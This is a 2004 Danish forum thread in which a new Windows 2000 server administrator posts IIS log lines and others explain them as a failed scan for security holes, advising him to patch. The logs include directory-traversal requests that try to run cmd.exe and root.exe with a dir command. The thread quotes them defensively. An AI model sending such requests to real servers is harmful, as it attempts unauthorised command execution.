Søg
Avatar billede dnx Nybegynder
23. maj 2004 - 00:25 Der er 4 kommentarer og
1 løsning

Mærkelig log fil

Godaften folkens....

Jeg er meget ny til windows 2000 sbs og får log filer hver time, på det sidste har jeg fået nogen jeg ikke helt er sikker på hvad er..... Er der nogen der kan hjælpe ?

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-bytes cs-bytes time-taken cs(User-Agent)
2004-05-22 19:29:30 80.63.187.109 - 192.168.1.19 80 GET /scripts/root.exe /c+dir 404 4184 72 40 -
2004-05-22 19:29:35 80.63.187.109 - 192.168.1.19 80 GET /MSADC/root.exe /c+dir 404 4184 70 0 -
2004-05-22 19:29:41 80.63.187.109 - 192.168.1.19 80 GET /c/winnt/system32/cmd.exe /c+dir 404 4184 80 0 -
2004-05-22 19:29:46 80.63.187.109 - 192.168.1.19 80 GET /d/winnt/system32/cmd.exe /c+dir 404 4184 80 0 -
2004-05-22 19:29:51 80.63.187.109 - 192.168.1.19 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 4184 96 0 -
2004-05-22 19:29:56 80.63.187.109 - 192.168.1.19 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 4184 117 0 -
2004-05-22 19:30:05 80.63.187.109 - 192.168.1.19 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 4184 117 0 -
2004-05-22 19:30:10 80.63.187.109 - 192.168.1.19 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 4184 145 0 -
2004-05-22 19:30:15 80.63.187.109 - 192.168.1.19 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 4184 97 0 -
2004-05-22 19:30:20 80.63.187.109 - 192.168.1.19 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 4184 97 0 -


#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-stem cs-uri-query sc-status sc-bytes cs-bytes time-taken cs(User-Agent)
2004-05-22 20:18:26 80.63.187.109 - 192.168.1.19 80 GET /scripts/root.exe /c+dir 404 4184 72 0 -
2004-05-22 20:18:32 80.63.187.109 - 192.168.1.19 80 GET /MSADC/root.exe /c+dir 404 4184 70 10 -
2004-05-22 20:18:38 80.63.187.109 - 192.168.1.19 80 GET /c/winnt/system32/cmd.exe /c+dir 404 4184 80 10 -
2004-05-22 20:18:44 80.63.187.109 - 192.168.1.19 80 GET /d/winnt/system32/cmd.exe /c+dir 404 4184 80 0 -
2004-05-22 20:18:48 80.63.187.109 - 192.168.1.19 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 4184 96 0 -
2004-05-22 20:18:54 80.63.187.109 - 192.168.1.19 80 GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 4184 117 0 -
2004-05-22 20:18:59 80.63.187.109 - 192.168.1.19 80 GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 404 4184 117 0 -
2004-05-22 20:19:07 80.63.187.109 - 192.168.1.19 80 GET /msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.exe /c+dir 404 4184 145 0 -
2004-05-22 20:19:12 80.63.187.109 - 192.168.1.19 80 GET /scripts/..Á../winnt/system32/cmd.exe /c+dir 404 4184 97 0 -
2004-05-22 20:19:17 80.63.187.109 - 192.168.1.19 80 GET /scripts/winnt/system32/cmd.exe /c+dir 404 4184 97 0 -
2004-05-22 20:19:22 80.63.187.109 - 192.168.1.19 80 GET /winnt/system32/cmd.exe /c+dir 404 4184 97 0 -
2004-05-22 20:19:26 80.63.187.109 - 192.168.1.19 80 GET /winnt/system32/cmd.exe /c+dir 404 4184 97 0 -
2004-05-22 20:19:31 80.63.187.109 - 192.168.1.19 80 GET /scripts/..%5c../winnt/system32/cmd.exe /c+dir 404 4184 98 0 -
2004-05-22 20:29:11 192.168.1.1 - 192.168.1.19 80 GET /index.asp - 200 0 211 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:29:11 192.168.1.1 - 192.168.1.19 80 GET /Dozer2.gif - 304 165 396 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:39:09 192.168.1.1 - 192.168.1.19 80 GET /index.asp - 200 0 211 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:39:09 192.168.1.1 - 192.168.1.19 80 GET /Dozer2.gif - 304 165 396 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:40:57 80.63.187.109 - 192.168.1.19 80 GET /scripts/root.exe /c+dir 404 4184 72 0 -
2004-05-22 20:41:49 192.168.1.1 - 192.168.1.19 80 GET /index.asp - 200 0 211 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:41:49 192.168.1.1 - 192.168.1.19 80 GET /Dozer2.gif - 304 165 396 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:45:17 192.168.1.1 - 192.168.1.19 80 GET /index.asp - 200 0 211 10 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)
2004-05-22 20:45:17 192.168.1.1 - 192.168.1.19 80 GET /Dozer2.gif - 304 165 396 0 Mozilla/4.0+(compatible;+MSIE+6.0;+Windows+NT+5.0;+.NET+CLR+1.1.4322)


Bla. nogen af log filerne.......
Avatar billede nik- Nybegynder
23. maj 2004 - 01:31 #1
Det er en IIS (webserver) logfil.
Der ser da lidt interessant ud at 80.63.187.109 forsøger at tilgå systemfiler, det ligner lidt scanning efter huller i systemet. Dog lykkes de ikke (kode 404 = "side ikke fundet") Men sørg for at serveren er patch'et med MS sikkerhedsopdateringer.
Avatar billede dnx Nybegynder
23. maj 2004 - 02:17 #2
SÅ det er muligvis en hacker der prøver at komme ind?┐?

Er alt hvad jeg skal gøre bare at opdaterer fra MS hjemmeside ?
Avatar billede bartfreak Nybegynder
23. maj 2004 - 06:44 #3
hvis du tror det er en hacker, kan du prøve Proport >>http://www.tucows.com/preview/209068.html
http://downloads-zdnet.com.com/3000-2381-10133486.html

der kan se hvem der logger ind, el. prøver.mm..
Avatar billede nik- Nybegynder
23. maj 2004 - 21:54 #4
Nu er det jo ikke sikkert at det er én der specifikt vil ind på "din" server. Men ja, opdatér fra MS og følg i hvad der bliver fundet af huller i IIS. Desuden kan du jo lige checke hvad der ellers er åbent for ude fra internettet til dit netværk, for at se om der er andet der skal passes på.
Avatar billede dnx Nybegynder
24. maj 2004 - 11:07 #5
Tark :)
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
Se alle it-kurser fra Computerworld Kurser
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.
Se alle it-kurser

Flere spørgsmål fra Windows kategorien

Titel Indlæg Oprettet Seneste aktivitet
oprette et installationsmedie Af Malm i Windows 4 16/09/202618:13 23/09/202617:38
Popup ved opstart Af mort1 i Windows 1 06/09/202611:21 06/09/202611:31
Slet lokal konto Af ErikHg i Windows 9 04/09/202618:50 07/09/202615:51
Dette er ikke en kommerciel session i Windows 11 Af eksmojo i Windows 3 04/09/202613:47 05/09/202622:31
installere windows på separat diskpartition Af Malm i Windows 2 20/08/202614:16 21/08/202622:01
Se alle spørgsmål i kategorien Opret spørgsmål

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Opret Log ind

Du kan også logge ind via nedenstående tjenester

Alle kategorier på Eksperten
Seneste spørgsmål Seneste aktivitet
16 min siden Access udskrift mangler del af ramme om post. Af Uvanga i Access
I dag 12:36 nulstille Samsung tablet T-580 Af fase i Tablet
I går 17:19 Kender I "Dropbox" ? Af Ikke-ekspert i Andet software
I går 16:28 Indsæt en kort video i Outlook 2024 Af ErikHg i E-mail programmer
22/1019:20 Hvor kan man finde en god bærbar computer? Af Strawberry i PC
White papers
Flere white papers »